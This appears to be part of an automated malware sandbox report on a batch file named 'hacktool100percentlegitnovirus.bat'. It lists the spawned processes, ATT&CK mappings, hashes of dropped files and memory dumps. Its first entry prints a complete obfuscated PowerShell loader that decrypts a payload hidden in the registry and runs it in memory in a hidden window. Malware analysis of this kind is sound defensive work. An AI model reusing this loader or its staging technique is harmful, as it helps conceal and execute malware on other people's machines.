        "C:\Windows\$sxr-cmd.exe" /C set "mSGKpIwMCA=[System.Diagnostics.Process]::GetProcessById(3912).WaitForExit();[System.Threading.Thread]::Sleep(5000); function YuyYB($dxlBL){ $qxubM=[System.Security.Cryptography.Aes]::Create(); $qxubM.Mode=[System.Security.Cryptography.CipherMode]::CBC; $qxubM.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $qxubM.Key=[System.Convert]::('@F@r@o@m@B@a@s@e@6@4@S@t@r@i@n@g@'.Replace('@', ''))('3oSLOA2xv7IebJ0DbeSi0V6v0Y7Jc1oheYR97WRndh0='); $qxubM.IV=[System.Convert]::('@F@r@o@m@B@a@s@e@6@4@S@t@r@i@n@g@'.Replace('@', ''))('VyZPG7Lzx268fI+ud98WpA=='); $Ojirc=$qxubM.('@C@r@e@a@t@e@D@e@c@r@y@p@t@o@r@'.Replace('@', ''))(); $zKzxs=$Ojirc.('@T@r@a@n@s@f@o@r@m@F@i@n@a@l@B@l@o@c@k@'.Replace('@', ''))($dxlBL, 0, $dxlBL.Length); $Ojirc.Dispose(); $qxubM.Dispose(); $zKzxs;}function oKcPd($dxlBL){ $DlExa=New-Object System.IO.MemoryStream(,$dxlBL); $yUAzZ=New-Object System.IO.MemoryStream; Invoke-Expression '$XTZdl @=@ @N@e@w@-@O@b@j@e@c@t@ @S@y@s@t@e@m@.@I@O@.@C@o@m@p@r@e@s@s@i@o@n@.@G@Z@i@p@S@t@r@e@a@m@(@$DlExa,@ @[@I@O@.@C@o@m@p@r@e@s@s@i@o@n@.@C@o@m@p@r@e@s@s@i@o@n@M@o@d@e@]@:@:@D@e@c@o@m@p@r@e@s@s@)@;@'.Replace('@', ''); $XTZdl.CopyTo($yUAzZ); $XTZdl.Dispose(); $DlExa.Dispose(); $yUAzZ.Dispose(); $yUAzZ.ToArray();}function uMyTC($dxlBL){ $zKzxs = [System.Convert]::('@F@r@o@m@B@a@s@e@6@4@S@t@r@i@n@g@'.Replace('@', ''))($dxlBL); $zKzxs = YuyYB($zKzxs); $zKzxs = [System.Text.Encoding]::('@U@T@F@8@'.Replace('@', '')).('@G@e@t@S@t@r@i@n@g@'.Replace('@', ''))($zKzxs); return $zKzxs;}function execute_function($dxlBL,$wkkqG){ $XEBOM = @( '$Lcrbl = [System.@R@e@f@l@e@c@t@i@o@[email protected]]::@L@o@a@d@([byte[]]$dxlBL);'.Replace('@', ''), '$Cmuub = $Lcrbl.EntryPoint;', '$Cmuub.Invoke($null, $wkkqG);' ); foreach ($kNXWI in $XEBOM) { Invoke-Expression $kNXWI };}$vWxed = uMyTC('MpYa/xaU9rp8EUWB+iAN+Q==');$ALhSo = uMyTC('nB2V9x4pRh1NicqXB8JzX7M+FTY8LbJh37GZp1Yhfbc=');$DfDmy = uMyTC('03ATm86LC0uneIYbpbN3fw==');$dVSYt = uMyTC('3iT/Yk9VEvV7RkNnM/M40A==');if (@(get-process -ea silentlycontinue $dVSYt).count -gt 1) {exit};$hvrGg = [Microsoft.Win32.Registry]::('@L@o@c@a@l@M@a@c@h@i@n@e@'.Replace('@', '')).('@O@p@e@n@S@u@b@k@e@y@'.Replace('@', ''))($vWxed).('@G@e@t@V@a@l@u@e@'.Replace('@', ''))($ALhSo);$OJVNi=oKcPd (YuyYB ([Convert]::('@F@r@o@m@B@a@s@e@6@4@S@t@r@i@n@g@'.Replace('@', ''))($hvrGg)));execute_function $OJVNi (,[string[]] ($DfDmy));" & echo Invoke-Expression $env:mSGKpIwMCA; | C:\Windows\$sxr-powershell.exe -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass > nul
        5⤵
        Loads dropped DLL
        
        PID:1456
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" echo Invoke-Expression $env:mSGKpIwMCA; "
        6⤵
        
        PID:2256
      - C:\Windows\$sxr-powershell.exe
        
        C:\Windows\$sxr-powershell.exe -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass
        6⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:1204

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
1⤵
PID:1148

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
1⤵
- Drops file in System32 directory
PID:1156

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
1⤵
PID:1232

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
1⤵
PID:1316

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
1⤵
PID:1352

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
1⤵
PID:1408

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
1⤵
PID:1424

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
1⤵
PID:1564

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
1⤵
PID:1584

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc
1⤵
PID:1640

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
1⤵
PID:1704

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s netprofm
1⤵
PID:1744

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
1⤵
PID:1752

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1884

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache
1⤵
PID:1976

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:2000

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
1⤵
PID:1012

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
1⤵
PID:1648

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1680

C:\Windows\System32\spoolsv.exe
C:\Windows\System32\spoolsv.exe
1⤵
PID:2128

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2212

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
1⤵
PID:2388

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
1⤵
PID:2468

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
1⤵
PID:2476

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc
1⤵
PID:2540

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
1⤵
- Enumerates connected drives
- Suspicious use of AdjustPrivilegeToken
PID:2640

C:\Windows\sysmon.exe
C:\Windows\sysmon.exe
1⤵
PID:2660

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
1⤵
PID:2688

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
1⤵
PID:2700

C:\Windows\system32\wbem\unsecapp.exe
C:\Windows\system32\wbem\unsecapp.exe -Embedding
1⤵
PID:2936

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
1⤵
PID:3060

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker
1⤵
PID:3244

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
1⤵
PID:3436

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:3528
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\hacktool100percentlegitnovirus.bat"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3096
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Invoke-Expression $env:iJRukHyVCh; "
    3⤵
    PID:2740
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -ep bypass -noprofile -windowstyle hidden
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Deletes itself
    - Drops file in Windows directory
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2180

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
1⤵
PID:3628

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:3816

C:\Windows\system32\SppExtComObj.exe
C:\Windows\system32\SppExtComObj.exe -Embedding
1⤵
PID:3708

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
1⤵
PID:2352

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
1⤵
PID:4492

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
1⤵
PID:632

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV
1⤵
PID:4408

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc
1⤵
- Modifies data under HKEY_USERS
PID:2044

C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe
"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service
1⤵
- Modifies data under HKEY_USERS
PID:1828

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:2712

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
1⤵
PID:2816

C:\Windows\system32\wbem\wmiprvse.exe
C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
1⤵
- Checks BIOS information in registry
- Writes to the Master Boot Record (MBR)
- Enumerates system info in registry
- Suspicious use of AdjustPrivilegeToken
PID:1824

C:\Windows\System32\WaaSMedicAgent.exe
C:\Windows\System32\WaaSMedicAgent.exe 627dd30f54cf0fbbf408094ce8a73ba2 fsr1tOXSLESdPIZmFpmSTg.0.1.0.0.0
1⤵
- Sets service image path in registry
- Modifies data under HKEY_USERS
PID:2812

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv
1⤵
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
PID:2740
- C:\Windows\system32\WerFault.exe
  C:\Windows\system32\WerFault.exe -u -p 2740 -s 656
  2⤵
  - Checks processor information in registry
  - Enumerates system info in registry
  PID:3516

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k WerSvcGroup
1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
PID:4500
- C:\Windows\system32\WerFault.exe
  C:\Windows\system32\WerFault.exe -pss -s 460 -p 5036 -ip 5036
  2⤵
  PID:4460

C:\Windows\servicing\TrustedInstaller.exe
C:\Windows\servicing\TrustedInstaller.exe
1⤵
- Drops file in Windows directory
PID:4916

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UsoSvc
1⤵
- Checks processor information in registry
PID:5036
- C:\Windows\system32\WerFault.exe
  C:\Windows\system32\WerFault.exe -u -p 5036 -s 392
  2⤵
  - Checks processor information in registry
  - Enumerates system info in registry
  PID:5048

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv
1⤵
- Drops file in Windows directory
PID:752

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Pre-OS Boot

T1542

Bootkit

T1542.003

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Pre-OS Boot

T1542

Bootkit

T1542.003

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

WER591A.tmp.csv

Path C:\ProgramData\Microsoft\Windows\WER\Temp\WER591A.tmp.csv
Size 37KB
SHA256 06f04f754fead304aae27bea64025b3b0319061304857272b2c057e884eab29d
MD5 59044983ef7e0cc5a91d068488f33d79
SHA1 2a1aa333b64fe9e11ec09d2e54dc78890c776c69
SHA512 236980a6997a39e00d1f5ae2372804f74ce9fec0d0b42dd132f97c104ddf6d81bb253465eda01bff842437dbfc5c2383c1055a3820e9410d3c162ed6f465606d
SSDEEP 384:hQ+RD3bvpaQBxxdpDX56Y5YP0TbucrDUfatvBwOBVMlTMraDbdbXjXWVUcCNniGE:hDroUnEkIybT3/ZhzMBlRrqVOI
MD5 SHA1 SHA512 SSDEEP

Submit Download

WER5949.tmp.txt

Path C:\ProgramData\Microsoft\Windows\WER\Temp\WER5949.tmp.txt
Size 13KB
SHA256 931be8eb74dd5c151ab92428c172a0797ad81520c4e742b0515b026655c393c8
MD5 f61d4c54aa3c273b535f10442bb4645a
SHA1 4b98c7e3c1fffaaacd0ea0f58b3c8a0cd56fd779
SHA512 7c839f5c9d94da7d7473b14f4ea5fc80c3796e2b5425fe6170f09a337977521698c340e0df89da7ab87b42cd80f60413867bda5edee7b6a2006cc53dc3fdaa42
SSDEEP 96:4iefMwmADdiYnYnWQHXuYEZqvtHiMFMltwaet2GaMN3WgBMViIUMIE23:Nef5KwI8MaMNGMMViFE23
MD5 SHA1 SHA512 SSDEEP

Submit Download

WERD6D8.tmp.csv

Path C:\ProgramData\Microsoft\Windows\WER\Temp\WERD6D8.tmp.csv
Size 37KB
SHA256 0881a89f3b99cabe62e65653f3d1f5eb0220cd6b69f309e3a1debedd1bbfd3c3
MD5 c48234ba276e1a99738ffc2d548ac57a
SHA1 4ba1c59f6cee0c8ffd309c11209855dcbc7913f7
SHA512 be8c8d1264dba27437a4d4f9e7cffd5c9c45c979a485bf615eba5671f54d77472d4ae916f02dbd0f8f0e12b084b6e5161e61993b68b7387cd404c30fa8c9a3d6
SSDEEP 384:hQ+pbV6UBznB2dmrzOp6sDN6OlJ25k8n23yOQDLoManY7QcJA5pONjikQC9hrvF+:5bft1v/c2jnLOQDEMg2ZeHS9hz0QbTVE
MD5 SHA1 SHA512 SSDEEP

Submit Download

WERD708.tmp.txt

Path C:\ProgramData\Microsoft\Windows\WER\Temp\WERD708.tmp.txt
Size 13KB
SHA256 7963d49fbd9d19951ef414acf3e2f042118f6e8d0a4e3440788622a5f2854e41
MD5 3c5fdc69189f78afc943d60922670c5d
SHA1 c3a1424b0fa7230c08a069931d36e8ea887250ca
SHA512 6dc0fa455001a1afac7048b174462b2304e1ebb5493a55a49dcce7e4af43b3012a88a8024f8e613f1f24e019bc89386753195479067bc1677c6b9501e06dad0d
SSDEEP 96:4iefKMk5PqdNYJYvWIUHAYEZa2tEifFdvJw/WxauV1rE2MWiIUN4IrI3:NefJeJjmauV1rVMWiDfrI3
MD5 SHA1 SHA512 SSDEEP

Submit Download

ModuleAnalysisCache

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
Size 53KB
SHA256 4ebde1c12625cb55034d47e5169f709b0bd02a8caa76b5b9854efad7f4710245
MD5 a26df49623eff12a70a93f649776dab7
SHA1 efb53bd0df3ac34bd119adf8788127ad57e53803
SHA512 e5f9b8645fb2a50763fcbffe877ca03e9cadf099fe2d510b74bfa9ff18d0a6563d11160e00f495eeefebde63450d0ade8d6b6a824e68bd8a59e1971dc842709c
SSDEEP 1536:0YaC+jH04tAHk1ZSMrxyNhftflJdvYoFi3j39MVvjMlUst+hNOwUp7bNvv+EGa5d:0YaC+jH04tAHk1cMrxyNhftflJdvYoFw
MD5 SHA1 SHA512 SSDEEP

Submit Download

__PSScriptPolicyTest_jftnkqph.gs1.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_jftnkqph.gs1.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

Submit Download

$sxr-cmd.exe

Path C:\Windows\$sxr-cmd.exe
Size 283KB
SHA256 b99d61d874728edc0918ca0eb10eab93d381e7367e377406e65963366c874450
MD5 8a2122e8162dbef04694b9c3e0b6cdee
SHA1 f1efb0fddc156e4c61c5f78a54700e4e7984d55d
SHA512 99e784141193275d4364ba1b8762b07cc150ca3cb7e9aa1d4386ba1fa87e073d0500e61572f8d1b071f2faa2a51bb123e12d9d07054b59a1a2fd768ad9f24397
SSDEEP 6144:k4WA1B9BxDfQWKORSqY4zOcmpdlc3gJdmtolSm:H1BhkWvSqY4zvmjOwJIT
MD5 SHA1 SHA512 SSDEEP

Submit Download

$sxr-mshta.exe

Path C:\Windows\$sxr-mshta.exe
Size 14KB
SHA256 dba3137811c686fd35e418d76184070e031f207002649da95385dfd05a8bb895
MD5 0b4340ed812dc82ce636c00fa5c9bef2
SHA1 51c97ebe601ef079b16bcd87af827b0be5283d96
SHA512 d9df8c1f093ea0f7bde9c356349b2ba43e3ca04b4c87c0f33ab89dda5afe9966313a09b60720aa22a1a25d43d7c71a060af93fb8f6488201a0e301c83fa18045
SSDEEP 192:Mp2bLg8CB95kCfjmRXKbpkSprJ6AdgxYsPvWw5aIR:MpMLgdrkCjm9KZJAXWw5
MD5 SHA1 SHA512 SSDEEP

Submit Download

$sxr-powershell.exe

Path C:\Windows\$sxr-powershell.exe
Size 442KB
SHA256 9f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f
MD5 04029e121a0cfa5991749937dd22a1d9
SHA1 f43d9bb316e30ae1a3494ac5b0624f6bea1bf054
SHA512 6a2fb055473033fd8fdb8868823442875b5b60c115031aaeda688a35a092f6278e8687e2ae2b8dc097f8f3f35d23959757bf0c408274a2ef5f40ddfa4b5c851b
SSDEEP 6144:r2fdXxswSX0z/YWwO9sV1yZywi/PzNKXzJ7BapCK5d3klRzULOnWyjLsPhAQzqO:qVXqXEgW2KXzJ4pdd3klnnWosPhnzq
MD5 SHA1 SHA512 SSDEEP

Submit Download

DataStore.edb

Path C:\Windows\SoftwareDistribution\DataStore\DataStore.edb
Size 16.5MB
SHA256 1c5610df608429c26709596cc246de2f3b88f2ce36f9b243a9154b41956655e5
MD5 c637e8f0ccf5735b1f0abf781ffe99cb
SHA1 2c8d542b2b0396366a4acbf26343f562eb25f204
SHA512 61bb0e5cae57adbbba4f86ec726984ae6f23fe7a4a5c2f50f6499d3d029bc409bc3e66deda87a78b2038f8e083d9b46ce20147cca203d992e748472af9343714
SSDEEP 49152:+MHf2mwY2Yg+TTgJrUJZkKB/oip2iEHfK/Va3HMfSbqPHM+jY57dX4ngCnyJHhcu:+bYgELkKBAbAa3sDrY57osylRP
MD5 SHA1 SHA512 SSDEEP

Submit Download

DataStore.jfm

Path C:\Windows\SoftwareDistribution\DataStore\DataStore.jfm
Size 16KB
SHA256 15c4275f2017907aa74aec837a14eda3402b18a65baa6d971801e5b83260cc9a
MD5 d21304ea175de6c00a9a834f66b4cc42
SHA1 899b1d211d6c13e0d32c7c8e342657e14bac3e9a
SHA512 51d3a878fe26b007095e925108fff8e6f5372c4ec035cd54a2a64d3c4703171a4835f085d4a18c6363778be0f947bbb42b4b4031b620353c76c6b9062c553939
SSDEEP 6:ep1n9BqOJO+cK7PwgMxL/w3k62FmsXusjLuo04N8A1EDQng0gbq:ebXr/r7PwJ9w3k6MdLuwe0mq
MD5 SHA1 SHA512 SSDEEP

Submit Download

DataStore.jfm

Path C:\Windows\SoftwareDistribution\DataStore\DataStore.jfm
Size 16KB
SHA256 d1d1b223fbb916022b9a060a9f36cd62045bceaba71c0ee6d5e0925576083e35
MD5 5933f4bad5675784899e0159518ed4f2
SHA1 24d4d405c6687a4829d958420b2bff15792e96dd
SHA512 f4e01f1a28496bb6dae3088d4dabf9bd9dba7910e7097ecad0e170f59b205bc16a8fa337b6d99ce8304b573a09066a8b4017d75b09e742ab834c9001038b2aea
SSDEEP 6:ks/G1FCEvJUN0cKGSQuQKMxLgR3k62FmsXusjLuo04N8A1EDQng0gbq:t/eCECN0wStQXK3k6MdLuwe0mq
MD5 SHA1 SHA512 SSDEEP

Submit Download

edb.log

Path C:\Windows\SoftwareDistribution\DataStore\Logs\edb.log
Size 1.2MB
SHA256 f785e80c3fd81f976bd4ddabd63135fc6653c4d2cfff5e2285bb5605aa5a5da2
MD5 7f101be46e16b8148e25bac325594e1d
SHA1 50f946a853632d5bb92d7dfb512c75780af0333f
SHA512 5f16117c4821a7df13a3d55287cb7ceaa4e08b4af6ab4d7baf9ca9d0913900a27add02c879c35c775e643be9d30088e035bc8a7bff99df99444da8eac3fc03bf
SSDEEP 768:PuN0MS7ny/SBj44E9pIH+8zmv0nKOYP1zkwUKi/Fu6JlspihTdI:PuqMS7nnPAa+8zZwq/Fu2lspihTdI
MD5 SHA1 SHA512 SSDEEP

Submit Download

WindowsUpdate.log

Path C:\Windows\WindowsUpdate.log
Size 276B
SHA256 455ec4f5b15557762b893388b591ca9f3e822675ab94fc6664aa4ec8c41cb295
MD5 2cc83d93dd1dde691158cf5e9882420b
SHA1 49bfdc6e1e73e09a0dec345ca15b72d167add3b6
SHA512 e67f883a016b7a410f4461492bce124421bddccf4544322b9a460a56df469170b2323fd0325e2cf928193fb6a1323c31cb0d464097f25d2f9b11af3bf9ca1b4d
MD5 SHA1 SHA512

Submit Download

memory/404-127-0x000001D811460000-0x000001D811489000-memory.dmp

Download

memory/404-128-0x000001D811460000-0x000001D811489000-memory.dmp

Download

memory/404-120-0x000001D811460000-0x000001D811489000-memory.dmp

Download

memory/404-126-0x00007FFDD3070000-0x00007FFDD3080000-memory.dmp

Download

memory/676-104-0x000001BA79A40000-0x000001BA79A69000-memory.dmp

Download

memory/676-102-0x00007FFDD3070000-0x00007FFDD3080000-memory.dmp

Download

memory/676-103-0x000001BA79A40000-0x000001BA79A69000-memory.dmp

Download

memory/676-94-0x000001BA79A10000-0x000001BA79A33000-memory.dmp

Download

memory/676-96-0x000001BA79A40000-0x000001BA79A69000-memory.dmp

Download

memory/676-95-0x000001BA79A40000-0x000001BA79A69000-memory.dmp

Download

memory/960-115-0x000001FF9DBA0000-0x000001FF9DBC9000-memory.dmp

Download

memory/960-116-0x000001FF9DBA0000-0x000001FF9DBC9000-memory.dmp

Download

memory/960-108-0x000001FF9DBA0000-0x000001FF9DBC9000-memory.dmp

Download

memory/960-114-0x00007FFDD3070000-0x00007FFDD3080000-memory.dmp

Download

memory/1036-138-0x00007FFDD3070000-0x00007FFDD3080000-memory.dmp

Download

memory/1036-132-0x00000245295D0000-0x00000245295F9000-memory.dmp

Download

memory/2180-29-0x000002667D290000-0x000002667D296000-memory.dmp

Download

memory/2180-17-0x000002667E970000-0x000002667F45C000-memory.dmp

Download

memory/2180-43-0x00007FFDF49F3000-0x00007FFDF49F5000-memory.dmp

Download

memory/2180-44-0x00007FFDF49F0000-0x00007FFDF54B1000-memory.dmp

Download

memory/2180-51-0x00007FFDF49F0000-0x00007FFDF54B1000-memory.dmp

Download

memory/2180-39-0x0000026641100000-0x0000026641108000-memory.dmp

Download

memory/2180-37-0x000002667D2D0000-0x000002667D41E000-memory.dmp

Download

memory/2180-36-0x00007FF768F00000-0x00007FF768F71000-memory.dmp

Download

memory/2180-35-0x00000266410D0000-0x00000266410FE000-memory.dmp

Download

memory/2180-70-0x000002667D2D0000-0x000002667D41E000-memory.dmp

Download

memory/2180-6-0x000002667D2A0000-0x000002667D2C2000-memory.dmp

Download

memory/2180-11-0x00007FFDF49F0000-0x00007FFDF54B1000-memory.dmp

Download

memory/2180-12-0x00007FFDF49F0000-0x00007FFDF54B1000-memory.dmp

Download

memory/2180-13-0x000002667D800000-0x000002667D844000-memory.dmp

Download

memory/2180-75-0x00007FFDF49F0000-0x00007FFDF54B1000-memory.dmp

Download

memory/2180-40-0x0000000180000000-0x0000000180007000-memory.dmp

Download

memory/2180-14-0x000002667D8D0000-0x000002667D946000-memory.dmp

Download

memory/2180-15-0x000002667DEC0000-0x000002667E96C000-memory.dmp

Download

memory/2180-16-0x00007FFDF49F0000-0x00007FFDF54B1000-memory.dmp

Download

memory/2180-23-0x000002667D420000-0x000002667D442000-memory.dmp

Download

memory/2180-18-0x00007FFE12FF0000-0x00007FFE131E5000-memory.dmp

Download

memory/2180-19-0x00007FFE11C40000-0x00007FFE11CFE000-memory.dmp

Download

memory/2180-84-0x000002667D2D0000-0x000002667D41E000-memory.dmp

Download

memory/2180-85-0x00007FFDF49F0000-0x00007FFDF54B1000-memory.dmp

Download

memory/2180-20-0x00007FFDF49F0000-0x00007FFDF54B1000-memory.dmp

Download

memory/2180-21-0x00007FFDF49F0000-0x00007FFDF54B1000-memory.dmp

Download

memory/2180-22-0x000002667F620000-0x000002667F71C000-memory.dmp

Download

memory/2180-34-0x0000026640C70000-0x0000026640CC8000-memory.dmp

Download

memory/2180-33-0x0000026640C30000-0x0000026640C66000-memory.dmp

Download

memory/2180-32-0x000002667F760000-0x000002667F812000-memory.dmp

Download

memory/2180-31-0x0000026640000000-0x0000026640C2C000-memory.dmp

Download

memory/2180-30-0x000002667D7B0000-0x000002667D7EE000-memory.dmp

Download

memory/2180-0-0x00007FFDF49F3000-0x00007FFDF49F5000-memory.dmp

Download

memory/2180-28-0x000002667D450000-0x000002667D458000-memory.dmp

Download

memory/2180-27-0x000002667CEB0000-0x000002667CEB6000-memory.dmp

Download

memory/2180-26-0x000002667DB50000-0x000002667DBA8000-memory.dmp

Download

memory/2180-25-0x000002667D850000-0x000002667D8AE000-memory.dmp

Download

memory/2180-24-0x000002667D440000-0x000002667D446000-memory.dmp

Download

memory/3912-76-0x00000224E3570000-0x00000224E3592000-memory.dmp

Download

memory/3912-91-0x0000000180000000-0x0000000180007000-memory.dmp

Download

memory/3912-87-0x00000224FE450000-0x00000224FE492000-memory.dmp

Download

memory/3912-86-0x00000224FE3E0000-0x00000224FE44A000-memory.dmp

Download

memory/3912-82-0x00000224FE2F0000-0x00000224FE3A2000-memory.dmp

Download

memory/3912-734-0x00000224FE7E0000-0x00000224FE830000-memory.dmp

Download

memory/3912-736-0x00000224FE8F0000-0x00000224FE9A2000-memory.dmp

Download

memory/3912-737-0x00000224FEC20000-0x00000224FEDE2000-memory.dmp

Download

memory/3912-739-0x00000224FE830000-0x00000224FE8D2000-memory.dmp

Download

memory/3912-751-0x00000224FE9B0000-0x00000224FE9EC000-memory.dmp

Download

memory/3912-81-0x00000224FDF60000-0x00000224FE2EC000-memory.dmp

Download

memory/3912-80-0x00000224FD7B0000-0x00000224FDF5E000-memory.dmp

Download

memory/3912-79-0x00000224FD260000-0x00000224FD7AE000-memory.dmp

Download

memory/3912-78-0x00000224FBD90000-0x00000224FBD96000-memory.dmp

Download

memory/3912-77-0x00000224FBD80000-0x00000224FBD86000-memory.dmp

Download

memory/3912-74-0x00007FFE11C40000-0x00007FFE11CFE000-memory.dmp

Download

memory/3912-73-0x00007FFE12FF0000-0x00007FFE131E5000-memory.dmp

Download

memory/3912-72-0x00000224FC720000-0x00000224FCE08000-memory.dmp

Download

memory/3912-71-0x00000224FC070000-0x00000224FC716000-memory.dmp

Download